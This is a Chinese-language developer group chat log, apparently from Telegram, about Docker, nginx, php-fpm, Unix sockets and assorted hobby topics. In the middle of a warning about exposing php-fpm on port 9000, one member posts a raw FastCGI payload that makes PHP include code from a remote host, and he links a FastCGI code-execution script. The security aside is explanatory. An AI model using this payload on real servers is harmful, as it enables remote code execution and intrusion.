<koru1130>: @mmis1000 話說你今天有來ㄇ
<mmis1000>: 或是dev時前面什麼都沒有
<mmis1000>: (koru1130: @mmis...) 有歐
<seadog007>: (mmis1000: 或是dev...) 正常la
<koru1130>: (mmis1000: 有歐) 我有看到你ㄇ
<seadog007>: (mmis1000: 嚴格上來說...) 拔掉之後static resource更慢ㄌ
<mmis1000>: 大概沒有
<koru1130>: 🤔
<seadog007>: (seadog007: 拔掉之後s...) 越拔越慘
<seadog007>: python http就慢啊._.
<mmis1000>: 我下午3點半後在408休息
<mmis1000>: 101 那幾個主題看起來太工商沒什麼興趣
<seadog007>: 而且python更容易遇到supply chain attack
<lekous>: (seadog007: 你的效能) 🤔🤔🤔🤔
<koru1130>: (mmis1000: 我下午3點...) 右前方?
<koru1130>: 第二格
<mmis1000>: (koru1130: 右前方?) 對
<koru1130>: 那就是有啊幹
<mmis1000>: 那你不是看到我了嗎
<koru1130>: 我看著你但是你沒有認出我
<koru1130>: 我就以為是別人
<mmis1000>: 我沒看到有人看到我
<koru1130>: :(
<mmis1000>: 或是你變化太大我看不出來就當沒看到
<seadog007>: (mmis1000: 或是你變化...) 那應該是這樣
<danny8376>: (seadog007: 而且gun...) 🤔 我覺得靜態我只相信nginx (
<seadog007>: (danny8376: 🤔 我...) apache也還行la
<lekous>: (danny8376: 🤔 我...) +++
<lekous>: (seadog007: apach...) 胖
<lekous>: (seadog007: 而且gun...) 尼可以用 asyncio ㄚ
<seadog007>: (lekous: 尼可以用...) 慢
<lekous>: (seadog007: 慢) 會ㄇ
<lekous>: 我記得他還蠻快的欸
<lekous>: 不過我現在開發好像都用 node.js 居多
<mmis1000>: (lekous: 胖) 海豹又不care那點記憶體
<lekous>: 可愛express不管怎樣都可以直接用
<lekous>: 還有可愛 Promise yay
<danny8376>: (seadog007: apach...) 也行 反正也比任何動態語言做的快(
<seadog007>: (mmis1000: 海豹又不c...) 我現在寫python都alpine + nginx + uwgsi
<mmis1000>: (koru1130: 我就以為是...) 所以你坐在哪啊?
<seadog007>: (lekous: 我覺得 P...) 所以你環境難在哪
<lekous>: (seadog007: 我現在寫p...) nginx 🤔🤔🤔
<danny8376>: (lekous: 可愛exp...) 然而我也不會用它serve static(
<lekous>: (seadog007: 所以你環境...) 我不知道
<lekous>: 我不會 nginx
<lekous>: qq
<seadog007>: (lekous: 我不知道) 你跟上面那個全世界都難一樣
<mmis1000>: (lekous: 我覺得 P...) apt install php就會全家桶了
<lekous>: (danny8376: 然而我也不...) 這當然直接 nginx qq
<mmis1000>: 不然更懶的docker run
<lekous>: (mmis1000: apt i...) linux 簡單辣
<lekous>: 我開發環境是 windows
[Title] GitHub - we684123/Telegram_link_Line: 用Telegram來收發Line的訊息,use telegram to Send and receive messages(from Line)
<lekous>: 慘
<bystartw_tw>: (bystartw_tw: 我得靠北...) 原本想幫他重構
<bystartw_tw>: 結果看到他的程式碼
<bystartw_tw>: :D
<mmis1000>: 直接吃整桶打包好外帶的全家桶
<mmis1000>: (lekous: 我開發環境...) hyperv
<seadog007>: (seadog007: 我現在寫p...) 然後前面再一個nginx反代
<mmis1000>: 然後找任何一個正經的linux
<lekous>: (seadog007: 然後前面再...) 聽起來像
<lekous>: docker
<danny8376>: (mmis1000: 然後找任何...) lfs(X
<lekous>: 內建一個 nginx 尼還要我 compose 另一個 nginx www
<danny8376>: (lekous: 內建一個...) nginx很瘦 可以多開一點(?
<mmis1000>: (danny8376: lfs(X) 記得你必須先找一個正經的linux才能build lfs
<koru1130>: (mmis1000: 所以你坐在...) 左後方
<seadog007>: (lekous: 聽起來像) 喔不對耶
<danny8376>: (mmis1000: 印象中你必...) 用別人build好的來build(?
<seadog007>: 裡面沒nginx
<lekous>: (seadog007: 裡面沒ng...) 尼要給我 nginx ㄉ conf
<lekous>: 🤔
<mmis1000>: (danny8376: 用別人bu...) 聽起來很無限循環
<seadog007>: (lekous: 尼要給我...) 你要什麼的
<danny8376>: (seadog007: 裡面沒ng...) fastcgi直出?
<mmis1000>: 然後別人怎麼build(x
<lekous>: (seadog007: 你要什麼的) 我直接丟容器
<lekous>: (lekous: 我直接丟容...) nginx
<lekous>: 直接把 conf 蓋掉
<danny8376>: (mmis1000: 聽起來很無...) 這年頭的語言不都這樣🌚
<lekous>: (Reply to seadog007) 就反正我要直接丟進去蓋就對ㄌ
<lekous>: 我不知道尼程式怎麼寫ㄉ 我要怎麼 serve
<lekous>: 🤔
<mmis1000>: (danny8376: 這年頭的語...) 用c++寫的c++ compiler嗎
<seadog007>: (danny8376: fastc...) pythonㄝ
<seadog007>: (lekous: 我不知道尼...) 喔喔喔
<seadog007>: 原來你要發PRㄌ
<danny8376>: (seadog007: pytho...) 那 uwsgi(?
<lekous>: (seadog007: 原來你要發...) 🤔
<seadog007>: (danny8376: 那 uws...) HTTP吧
<danny8376>: (seadog007: 原來你要發...) 說起來我還一直沒重構FreeNAS那個PR 好懶(((
<seadog007>: (seadog007: serve...) 不過應該要把server_name那個拔掉
<seadog007>: 然後前面加個default
<seadog007>: 然後改成http
<seadog007>: 你要ㄉ應該是這個
<seadog007>: 就一般phpㄉ
<seadog007>: 蓋去/etc/nginx/sites-available/default
<seadog007>: @lekous
<lekous>: (seadog007: serve...) #note
<lekous>: (seadog007: serve...) 我覺得
<lekous>: 這我一定要改過
<seadog007>: (seadog007: serve...) 這個啦
<seadog007>: 不用改
<lekous>: (seadog007: 不用改) 因為他們不在同一個容器裡面
<seadog007>: (lekous: 因為他們不...) 蛤
<seadog007>: 等等供三小
<seadog007>: php跟nginx不在同一個容器裡
<lekous>: (seadog007: php跟n...) 我原本想說分開來 用指定 host 的方式指過去就好
<mmis1000>: --network=host
<lekous>: 一般好像也是這樣做
<lekous>: 我等等放在同一個容器裡面好ㄌ
<lekous>: 不然我看有 sock www
<mmis1000>: --mount
<lekous>: (mmis1000: --mou...) 那這樣就要 volume 不優
<seadog007>: (lekous: 我原本想說...) 不是 你為什麼要把nginx跟php分開
<lekous>: 畢竟 docker-compose 我還是希望一鍵上線
<seadog007>: 他是cgi call耶
<lekous>: (seadog007: 不是 你為...) 因為我看大家都分開咩
<seadog007>: (lekous: 因為我看大...) 才沒有
<danny8376>: (lekous: 不然我看有...) 你可以選擇tcp(
<lekous>: (seadog007: 才沒有) 真的有啦
<lekous>: 一般都用 volume
<seadog007>: 你base image是啥
<lekous>: (lekous: 一般都用...) 然後改 nginx conf 裡面的 server_name
<lekous>: 指向 php 容器這樣
<lekous>: (seadog007: 你base...) nginx
<seadog007>: (lekous: 指向 ph...) 等等什麼鬼
<lekous>: php
<lekous>: mysql
<seadog007>: (lekous: php) php-fpm
<lekous>: (seadog007: php-f...) 度度
<seadog007>: (lekous: 度度) 你知道php有三個ㄇ
<lekous>: (seadog007: 你知道ph...) 偶用 php-fpm
<seadog007>: 那就
<seadog007>: 不對
<seadog007>: 放在一起不是很好ㄇ
<seadog007>: 這樣你要mount兩次耶
<lekous>: (seadog007: 這樣你要m...) 因為 docker-compose 嘛
<lekous>: (lekous: 因為 do...) 用這個的時候原則上會希望能分開的就分開
<lekous>: yay
<lekous>: 我看大家也都分開拉
<seadog007>: (lekous: 用這個的時...) 所以你寧願mount兩次?
<lekous>: (seadog007: 所以你寧願...) 我等等應該會寫在一起ㄅ 因為我不想動到 volume
<lekous>: yay
<seadog007>: 我是希望直接mount當前資料夾
<lekous>: 蛤是喔
<lekous>: 那我就
<seadog007>: 這樣可以邊改邊側
<lekous>: mount 兩次
<lekous>: yay
<seadog007>: (lekous: mount...) 這樣config也沒比較好寫
<lekous>: (seadog007: 這樣con...) 😃 https://i.imgur.com/CckvcAZ.png
<lekous>: 有問題再敲你 ayy
<seadog007>: 我在中國聽滅火器
<wartw>: (seadog007: 我在中國聽...) 666
<lekous>: (seadog007: 這樣con...) 我可以
<lekous>: 把 php 之類的全部丟進一個資料夾ㄇ
<seadog007>: 不行
<lekous>: 不然我就要 mount 根目錄了 很怪
<seadog007>: (lekous: 不然我就要...) do it
<danny8376>: (lekous: 不然我就要...) 🤔
<danny8376>: (lekous: 把 php...) 丟啥啊🤔
<lekous>: (danny8376: 丟啥啊🤔) 就把整個 repo
<lekous>: 丟進某個叫 repo 或是之類的資料夾
<lekous>: 原本是想說不要把 docker 相關的東西也丟進去 serve
<lekous>: 但是好像也沒插
<seadog007>: 沒差la
<seadog007>: 測試用而已
<YamiOdymel>: 呀吼,有沒有人想學 Go
<licson>: (mmis1000: 或是你變化...) 會不會是你變化太大 好歹也有當兵過一會應該有變瘦(?
<licson>: (mmis1000: 海豹又不c...) 他現在不是已經插到 256GB DDR3 了嘛
<licson>: 他那台可以插到 2TB
<lekous>: (YamiOdymel: 呀吼,有沒...) 我我我
<lekous>: 小安教我
<lekous>: yay
<loli_make_the_world_great_again>: (YamiOdymel: 呀吼,有沒...) 沒有
<loli_make_the_world_great_again>: ☀️ https://i.imgur.com/BtYVAgZ.png
<YamiOdymel>: (loli_make_the_world_great_again: 沒有) 好的,晚安各位
<YamiOdymel>: ℹ️ https://i.imgur.com/4Ha1dRg.png
<seadog007>: (lekous: 我我我) 快去寫docker file
<gnehs_OwO>: (seadog007: 快去寫do...) 他才不會去寫
<lekous>: (seadog007: 快去寫do...) 你的 fastcgi_pass 有夠怪
<gnehs_OwO>: 等到他有空你早就寫好了
<seadog007>: (lekous: 你的 fa...) 蛤
<lekous>: 一般不是 {API}:9000 之類的嗎
<lekous>: 你的怎麽是 unix blah.sock
<seadog007>: (lekous: 一般不是...) 那是fastcgi
<seadog007>: 你484對linux不熟
<lekous>: (seadog007: 那是fas...) 🤔
<seadog007>: 在同一台上面不用走tcp啊 走unix socket
<lekous>: 那我們不能用 fastcgi ㄇ
<mmis1000>: 你該不會…不知道unix socket 是什麼?
<lekous>: (seadog007: 在同一台上...) 可是我們現在假設他在不同 container :(
<seadog007>: (lekous: 那我們不能...) 那個東東你就想成他是一個檔案port
<lekous>: (seadog007: 那個東東你...) 我知道辣
<lekous>: 我是說我現在想用 tcp :(
<seadog007>: (lekous: 可是我們現...) 你去抄官方那個wordpress的
<cras4202tw>: (lekous: 一般不是...) nono 超不優
<seadog007>: (lekous: 一般不是...) BTW如果這個不小心被人戳到 直接rce
<seadog007>: 聽在9000根本是找死做法
<lekous>: snippets/fastcgi-php.conf 是啥
<seadog007>: test docker算了就是
<lekous>: (seadog007: BTW如果...) nnn 我直接內部連接
<lekous>: 不 expose
<seadog007>: (lekous: nnn 我...) ssrf之類的
<seadog007>: (lekous: snipp...) php-fpm提供的東東ㄅ
<lekous>: (seadog007: php-f...) 🤔 https://i.imgur.com/xJ2PZwj.png
<lekous>: 好啦我還是裝同一台 QQ
<licson>: (seadog007: BTW如果...) 不會吧
<seadog007>: (licson: 不會吧) 你開台給我戳
<licson>: (seadog007: 你開台給我...) 等我一下(
<seadog007>: (licson: 等我一下() 不用開ㄌ
<seadog007>: 我直接跟你講怎麼戳la
<licson>: (seadog007: 我直接跟你...) 🤔
<seadog007>: \x01\x01ab\x00\x08\x01\xFF\x00\x01\x00\x01\x01\x01\x01\x01\xFB\x01\x04ab\x00\x3E\x01\xFF\x093PHP_VALUEauto_prepend_file\x3Dhttp\x3A//ao.pe\x0Aallow_url_include\x3DOn\xFB\x01\x04ab\x00\x00\x01\xFF\xFB
<seadog007>: 然後再隨便開一個php
<seadog007>: 就rceㄌ
<seadog007>: (seadog007: \x01\...) 送給fastcgi port
<seadog007>: 超簡單
<seadog007>: 好ㄇ
<seadog007>: 再亂噴R
[Title] Fastcgi PHP-FPM Client && Code Execution · GitHub
<seadog007>: 喔這邊還有腳本可以用
<licson>: (seadog007: 然後再隨便...) 如果開 fcgi 的不是 php-fpm 呢(
<licson>: 這個是 php-fpm 的漏洞喔 🤔
<licson>: 還是 php-fcgi 也有事
<danny8376>: (seadog007: BTW如果...) docker裡沒開也跟本戳不到啊🤔
<seadog007>: (danny8376: docke...) ssrf la
<seadog007>: 還有很多不小心噴出來的
<danny8376>: (lekous: 一般不是...) 一般都Unix socket比較多吧🤔
<seadog007>: (licson: 還是 ph...) 額 那三小
<seadog007>: 那不是同個東西嗎
<licson>: (seadog007: 那不是同個...) 不是
<seadog007>: 而且那不是漏洞
<seadog007>: 那是feature
<danny8376>: (seadog007: ssrf...) 🤔 我覺得unix socket跟tcp都一樣啊 沒擋好server side都戳得到
<seadog007>: (danny8376: 🤔 我覺...) 不才不行
<seadog007>: 一個是檔案
<seadog007>: 你要open然後寫入
<seadog007>: 難度差多了
<seadog007>: 你要能寫檔 都能rce了好嗎(
<seadog007>: (licson: 不是) 啊不然那什麼 解釋一下
<lekous>: @seadog007 config 怎麼用
<danny8376>: (seadog007: 你要ope...) 看你走的api啊 unix socket也能很socket好嗎 再說除非你nginx apache每個app都獨立跑一個 不然通常也都是同一個user一起用
<seadog007>: (lekous: @sead...) 就 丟那
<licson>: (seadog007: 啊不然那什...) 一個是單純的 fastcgi server 一個是會自己控制放多少線程的
<lekous>: (seadog007: 就 丟那) 丟著就對了 等使用者戳嗎
<seadog007>: (licson: 一個是單純...) 可是那是php feature
<seadog007>: (lekous: 丟著就對了...) 對
<licson>: 而且以前 IRC 時代我也解釋過分別啊
<lekous>: (seadog007: 對) 我 mount 整個根目錄欸 🤔
<lekous>: 那我還需要生成嗎
<seadog007>: (danny8376: 看你走的a...) unix socket就是個檔案啊...
<seadog007>: (lekous: 那我還需要...) config.php?
<lekous>: (seadog007: confi...) y
<seadog007>: 要
<danny8376>: (licson: 如果開 f...) 走fastcgi都會啊🤔
<seadog007>: (Reply to lekous) 然後要import sql
<lekous>: (seadog007: 然後要im...) 有喔
<seadog007>: (danny8376: 看你走的a...) 然後後面兩句我看不懂
<lekous>: (seadog007: 對) 我要生成什麼
<seadog007>: /src/config.php
<mmis1000>: 真的還假的
<seadog007>: (mmis1000: 真的還假的) 假的
<lekous>: (seadog007: /src/...) 掛 src 底下齁
<seadog007>: 去看SITCON
<lekous>: 豪
<mmis1000>: 有人還在台科大旁邊嗎
<mmis1000>: 原因不是這個…所以是真的停電歐?
<ptc0219>: 4
<seadog007>: 總務處目前說是總站設備損毀啦
<danny8376>: (seadog007: unix...) 🤔 我大概懂狀況了 然而能戳tcp的api也是有些能拿來戳unix socket的🤔 而且也不是沒人用777的socket的 🙈
<mmis1000>: 我在成大4年唯一一次停電是變電所被雷擊來著
<seadog007>: (danny8376: 🤔 我大...) 很少la
<seadog007>: 重點是很少api能戳
<mmis1000>: (danny8376: 🤔 我大...) 我覺得777毫無疑問是人災
<bystartw_tw>: (Reply to lekous) 我要去蹭你的資料庫位址惹
<danny8376>: (mmis1000: 我覺得77...) 你不覺得tcp該封起來的給人戳得到也是人災嗎 又不是說沒防火牆能用(((
<seadog007>: (bystartw_tw: 我要去蹭你...) localhost
<mmis1000>: 是說有些程式遇到777會強行panic防止災害,像是ssh之類
<bystartw_tw>: (seadog007: local...) 我 蹭 我 自 己,,,
<mmis1000>: php會嗎?
<seadog007>: 我覺得unix socket 777還好耶
<bystartw_tw>: (mmis1000: php會嗎...) 我覺得不會
<seadog007>: (mmis1000: php會嗎...) 那是fpmㄅ
<seadog007>: 不是php
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: (seadog007: relat...) 對
<danny8376>: (mmis1000: 是說有些程...) ssh是因為用777本身沒道理啊 跑服務的東西的unix socket不一定沒道理好嗎
<seadog007>: 給大家用
<seadog007>: 777沒啥問題ㄅ
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: postgresql
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: redis
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: 😌😌
<danny8376>: (seadog007: 777沒啥...) 然後還是能ssrf R 🌚
<licson>: (sCSUVbuMwzZrhQdq4aATH6VII4y4VupI: postg...) Oracle PL/SQL
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: (licson: Oracl...) 不要
<licson>: 雖然我第一次用 Oracle SQL 覺得他跑非常慢
<seadog007>: (danny8376: 然後還是能...) 不能R
<danny8376>: 不過unix socket能走的機會比tcp少到是真的啦
<seadog007>: gopher戳不到unix socket
<licson>: 但是只要用對的硬件就跑得飛快
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: pgsql的sp-gist是最強的
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: 不然你oracle跑個bktree/groonga給我看
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: 😐
<licson>: 而且現在流行 in-memory DB
<licson>: SAP HANA 的天堂
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: 之類的 https://i.imgur.com/Jc3TbN7.jpg
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: 之類的 https://i.imgur.com/9uOLNIM.jpg
<sCSUVbuMwzZrhQdq4aATH6VII4y4VupI>: (licson: 而且現在流...) (大企業)
<lemotw>: (YamiOdymel: 呀吼,有沒...) 有學過一下,不過還是覺得laravel來開發比較好開發耶
<danny8376>: (seadog007: gophe...) 🤔 倒是
<bystartw_tw>: (YamiOdymel: 好的,晚安...) <- 願意提供幫助
<bystartw_tw>: (YamiOdymel: 呀吼,有沒...) Yami 老師要開課了嗎
<Cute_Panda>: umm 放在安全帽上的行車紀錄器有推薦的嗎?
<lekous>: @seadog007 你用的 mysql 是
<lekous>: 哪版的
<seadog007>: 7ㄅ
<seadog007>: 應該
<seadog007>: 我來看看
<seadog007>: 我想想喔
<seadog007>: 為什麼不是8呢
<seadog007>: 好像是我某次升級發現轉換困難
<seadog007>: 就降回來了
<seadog007>: 我記得本來是5.5
<seadog007>: 升級的時候我有來這邊哀嚎過
<lekous>: @seadog007
<seadog007>: 行
<seadog007>: api/stat.php戳得出來ㄇ
<lekous>: (seadog007: api/s...) 沒東東
<seadog007>: 哈
<seadog007>: 不懂ㄛ
<seadog007>: 你先推上你那邊 我抓來連看看
<lekous>: 🤔
<seadog007>: 好啦沒資料
<lekous>: kk
<lekous>: 我用
<lekous>: mysql 8 欸
<lekous>: 我要丟回 5 嗎
<lekous>: 還是沒差
<seadog007>: 隨便la
<seadog007>: 一樣
<lekous>: (seadog007: 一樣) 推了
<seadog007>: link
<lekous>: sudo docker-compose build && sudo docker-compose up 應該就會動了
<lekous>: (seadog007: link) rexx0520/breach.tw
<seadog007>: 嘔嘔嘔
<seadog007>: sudo docker
<lekous>: (seadog007: sudo...) 不 sudo docker 不會動ㄅ
<lekous>: 他會說什麼找不到 socket 之類的屁話
<seadog007>: sudo usermod -aG docker $user
<seadog007>: 雖然這跟sudo usermod -aG docker sudo是一樣ㄉ
<lekous>: (seadog007: sudo...) 嘔嘔
<seadog007>: (lekous: 嘔嘔) 這樣以後docker都不用sudoㄝ
<lekous>: (seadog007: 這樣以後d...) Couldn't connect to Docker daemon at http+docker://localhost - is it running?
<seadog007>: (lekous: Could...) 你有重登ㄇ
<lekous>: (seadog007: 你有重登ㄇ) 沒
<lekous>: yay
<seadog007>: user加進去group要重開shell才會生效R
<seadog007>: 而且為什麼你是http+docker
<seadog007>: 怪
<lekous>: (seadog007: 而且為什麼...) 好問題
<as2174>: (Cute_Panda: umm 放...) SJ8 沒
<seadog007>: (lekous: 好問題) 喔對了你沒有composer install
<seadog007>: 這樣不會炸ㄇ
<seadog007>: 等等你怎麼把這堆檔案噴在外面
<seadog007>: 丟進去一個docker folder la
<Cute_Panda>: (as2174: SJ8 沒) 那好貴ww
<as2174>: (Cute_Panda: 那好貴ww) 我現在頭上是SJ4000
<lekous>: (seadog007: 等等你怎麼...) 蛤
<Cute_Panda>: (as2174: 我現在頭上...) 其實我剛才有點被5000系列吸引
<lekous>: 我只噴了一個
<lekous>: docker-compose ㄅ
<Cute_Panda>: 這好用嗎?ww
<lekous>: 其他都放在 docker 資料夾裡面ㄚ
<lekous>: (seadog007: 那你乾脆把...) 這樣就不能在根目錄 docker-compose ㄌ
<seadog007>: (lekous: 這樣就不能...) 沒差ㄅ
<lekous>: (seadog007: 沒差ㄅ) 違反慣例
<lekous>: (?
<seadog007>: 這樣nginx config比較好寫
<seadog007>: 可以直接擋掉docker這個資料夾
<lekous>: (seadog007: 這樣ngi...) 我沒 import nginx config 欸
<lekous>: 他就本來就會動ㄌ
<seadog007>: (lekous: 我沒 im...) 我說真實的la
<lekous>: kkk
<seadog007>: 我知道你把php跟nginx弄再一起ㄌ
<lekous>: yay
<seadog007>: 臭胖子
<seadog007>: @lekous 順便把phpmyadmin掛上去R
<lekous>: (seadog007: @leko...) 🤔🤔🤔🤔
<mmis1000>: 我看到網站長這樣代表什麼?🌚❓ https://i.imgur.com/5DY1ScJ.jpg
<seadog007>: XSS
<bystartw_tw>: XSS
<seadog007>: (lekous: 🤔🤔�...) 等你
<seadog007>: 然後port映射就開在8080
<lekous>: (seadog007: 你port...) 80
<seadog007>: 8080:8080
<lekous>: (seadog007: 8080:...) 🤔
<seadog007>: 然後phpmyadmin掛上去應該就行了ㄅ
<seadog007>: 127.0.0.1:8081
<lekous>: 大概ㄅ 我被拉去吃宵夜ㄌ 晚點會來弄
<excfergodst>: (seadog007: 我知道你把...) 在啦幹
<ptc0219>: (Cute_Panda: 其實我剛才...) SJ5000X 還不錯
<Sciuridae>: 我推 SJ8 Pro (?
<Sciuridae>: (Cute_Panda: umm 放...) Sony
<Sciuridae>: FDR X1000之類的 (?
<Sciuridae>: 夜晚拍起來比較清楚
<seadog007>: (Sciuridae: 夜晚拍起來...) 你應該買行車記錄器ㄉ
<seadog007>: 買4K運動攝影機來錄484哪裡怪怪ㄉ
<Sciuridae>: (seadog007: 買4K運動...) 有甚麼問題嗎 沒
<Sciuridae>: (seadog007: 你應該買行...) 汽車用的不行齁 (?
<seadog007>: (Sciuridae: 有甚麼問題...) 夜視功能不好
<seadog007>: (Sciuridae: 汽車用的不...) 為啥R
<Sciuridae>: 騎車 淋雨
<seadog007>: 喔好ㄅ
<Sciuridae>: (seadog007: 夜視功能不...) 市區的話其實還算可以
<Sciuridae>: 可是如果住偏鄉 例如我 大概就不行ㄌ
<Haraguroicha>: (Sciuridae: 可是如果住...) 你都能來COSCUP了
<Haraguroicha>: 沒事
<Cute_Panda>: (Sciuridae: Sony) 我感覺SJ4000有點棒(?)
<Sciuridae>: (Cute_Panda: 我感覺SJ...) 就 可以紀錄啦 (?
<Sciuridae>: CP算高ㄉ
<Cute_Panda>: 就反正行車紀錄器的概念也不是要拿來欣賞
<Cute_Panda>: SJ4000我看 @as2174 的畫面感覺已經可以了ww
<Cute_Panda>: 我在找...可能其他的配件之類的吧(#
<mmis1000>: (Cute_Panda: 就反正行車...) 你可以騎車直播阿
<Cute_Panda>: (mmis1000: 你可以騎車...) ummmmmmmmmmmmm
<Cute_Panda>: 實時公布我在哪裡
<mmis1000>: 或是邊騎車邊打遊戲王(x
<Cute_Panda>: (mmis1000: 或是邊騎車...) 這是換車的秘術吧
<Sciuridae>: (mmis1000: 你可以騎車...) 手機 on
<Sciuridae>: (Cute_Panda: 我在找.....) ㄜ 我有很多 如果你要的話
<Cute_Panda>: (Sciuridae: ㄜ 我有很...) ummm
<Sciuridae>: 可是在家 ㄏㄏ
<as2174>: (Cute_Panda: 我在找.....) 我也hen多(
<Cute_Panda>: (Sciuridae: 可是在家...) 我明天再去找你玩(#
<Sciuridae>: 不會比我多 (欸
<Sciuridae>: (Cute_Panda: 我明天再去...) Kk
<daisuke1230>: @Sciuridae 那個可以夾桌子的東西
<daisuke1230>: 順便手機轉接座也來好了
<Sciuridae>: (daisuke1230: @Sciu...) Takeway R2
<Sciuridae>: + PH-05
<daisuke1230>: 是說,昨天看到 gopro6 +防水殼6k5
<Sciuridae>: (daisuke1230: @Sciu...) https://www.pcstore.com.tw/takeway/M60410595.htm
[Title] PChome Online 商店街 - TAKEWAY - TAKEWAY R2極限運動夾, 重機/摩托車/Gopro固定座/支架/適用4.7-6.5吋手機,抗震輕巧,多角度調整(亮光黑版) (R2+PH05)
<seadog007>: (daisuke1230: 是說,昨天...) 可以買GB8ㄌ
<seadog007>: (X
<daisuke1230>: (seadog007: 可以買GB...) www感覺可以上熱靴就
<daisuke1230>: 防水GG(?
<daisuke1230>: 得買殼ㄅ
<Sciuridae>: 我ㄉ SJ 沒有防水我照樣淋雨也沒壞啊 沒
<seadog007>: @s3131212 要不要寫篇 breach.tw ㄉ文
<Sciuridae>: 或是講個 Lightingtalk
<seadog007>: (Sciuridae: 或是講個...) 度度
<seadog007>: 你去講
<koru1130>: (seadog007: 你去講) 視訊
<s3131212>: (seadog007: @s313...) 你寫啊
<seadog007>: (s3131212: 你寫啊) 這是一件很尷尬的事
<seadog007>: 密碼丟失ㄌ(X
<seadog007>: 我每次想發文
<seadog007>: 都不記得密碼
<seadog007>: 然後就懶得寫了
<seadog007>: (跑
<james58899>: (YamiOdymel: 呀吼,有沒...) nil
<YamiOdymel>: (james58899: nil) nil
<james58899>: (YamiOdymel: nil) append(append(a, b),c)
<mmis1000>: (james58899: nil) 那個允許你throw err(==nil)的語言嗎
<s3131212>: (seadog007: 密碼丟失ㄌ...) 黑進去啊
<james58899>: (mmis1000: 那個允許你...) 對
<s3131212>: (YamiOdymel: 呀吼,有沒...) nil
<YamiOdymel>: (james58899: appen...) 並不是這樣好嗎幹你娘
<YamiOdymel>: 你這是人身攻擊喔
<mmis1000>: 說起來居然沒有enforce扔出去的err不准是空值
<james58899>: 然後你程式就吐了err但是沒有進error handle
<james58899>: (YamiOdymel: 並不是這樣...) 人家5k星星的專案都這樣寫的
<mmis1000>: 不過js在這點是半斤八兩
<mmis1000>: throw "string"
<mmis1000>: 保證你找不到任何error stack
<james58899>: 還有強制塞GOPATH
<james58899>: 雖然我記得新版改掉了
<james58899>: 所以go好在哪裡
<mmis1000>: 好在他比php強
<mmis1000>: 而且沒java難懂
<mmis1000>: 然後他搞streaming比java簡單一點點
<james58899>: streaming?
<mmis1000>: channel什麼的
<mmis1000>: 跟js一樣可以很簡單non blocking亂塞stream給client
<s3131212>: 低調問
<mmis1000>: 所以webscoket之類會比較好搞
<s3131212>: 他是誰啊
<s3131212>: 感覺是個我認識的人 但不知道本名
<mmis1000>: java的原生stream全都blocking吧,要non blocking要用netty,然後netty那文件…
<mmis1000>: 我覺得超級不行
<james58899>: 我以為java的stream和js的87%像
<james58899>: 只是他很sync
<mmis1000>: (james58899: 只是他很s...) 所以才說他很blocking
<james58899>: IO thread開起來阿(
<james58899>: java的thread那麼簡單開
<mmis1000>: (james58899: IO th...) 然後 效能 -> 笑能
<james58899>: (mmis1000: 然後 效能...) 不會吧
<mmis1000>: 幾百個連線就幾百個thread
<james58899>: IO的thread應該沒啥問題
<s3131212>: = =
<s3131212>: (Reply to s3131212) https://i.imgur.com/2uoBseW.jpg
<koru1130>: (Reply to s3131212) ㄇㄉ笑死
<seadog007>: (Reply to s3131212) TG 圖片load不出來QQ
<s3131212>: 原來如此
<mmis1000>: 幾千個連線就幾千個thread
<seadog007>: 嗚嗚嗚
<james58899>: (mmis1000: 幾千個連線...) 是阿
<s3131212>: (Reply to s3131212) 所以他是誰啊
<koru1130>: (seadog007: TG 圖片...) https://i.imgur.com/aS0G3bN.jpg
<seadog007>: (s3131212: 所以他是誰...) @daisuke1230
<james58899>: java的web server不就真的這樣幹嗎
<mmis1000>: 幾萬個連線…大概server就thread開到母湯掉了
<seadog007>: (mmis1000: 幾萬個連線...) 不會la
<james58899>: (mmis1000: 幾萬個連線...) 沒那麼簡單炸吧
<mmis1000>: (james58899: 沒那麼簡單...) 然後還有記憶體用量
<james58899>: (mmis1000: 然後還有記...) thread沒多吃記憶體阿
<mmis1000>: 全面起飛吧
<koru1130>: FB最近一直出現的綠色圖片是啥 https://i.imgur.com/CvYWQvK.jpg
[Title] เม้นสวยเเล้วกด ที่รูป เดวเจอน่าวอดวย - บูรพา เพ็ญทรัพย์ | Facebook
<mmis1000>: 最後netty就出來了
<seadog007>: 我pid上限是4194304
<mmis1000>: 不過那個文件我覺得像大便
<daisuke1230>: (s3131212: 所以他是誰...) COSCUP服務台小精靈
<daisuke1230>: 場務組小精靈
<daisuke1230>: Bob的老婆(
<mmis1000>: 完全就是javadoc export出來就算了
<koru1130>: (koru1130: https...) 有人知道ㄇ
<james58899>: (mmis1000: 最後net...) 那個實際上只是外包給native處理吧wwww
<daisuke1230>: (s3131212: 所以他是誰...) Trista
<james58899>: (mmis1000: 完全就是j...) 人家doc有註解
<seadog007>: (seadog007: 我pid上...) kernel.threads-max = 2063087
<daisuke1230>: (daisuke1230: Trist...) 這個 ID 可能比較有聽過,掉 mac 真是一大(ry
<seadog007>: 都開爆
<james58899>: thread原本就該隨便開阿(
<s3131212>: (daisuke1230: Trist...) camp 那個 Trista 嗎,還不同人?
<daisuke1230>: (daisuke1230: Bob的老...) 都是 Bob 老婆了你覺得ㄋ(
<james58899>: thread只有在開和關,還有要跨thread處理時才會慢阿
<s3131212>: (daisuke1230: 都是 Bo...) 喔喔,沒看到
<s3131212>: 拍謝
<james58899>: 而且跨thread是因為要資料一致
<mmis1000>: (james58899: threa...) 跟async比較起來靠北慢阿
<mmis1000>: 慢是比較出來的
<james58899>: (mmis1000: 跟asyn...) 沒吧
<licson>: (mmis1000: 跟asyn...) 但是 Async 也要靠 Thread
<mmis1000>: 最主要是資源效率有夠低
<licson>: 就像 node.js 其實就默默地幫你在後面開 async thread
<mmis1000>: (licson: 但是 As...) 然後等待結果不是每個thread自己去要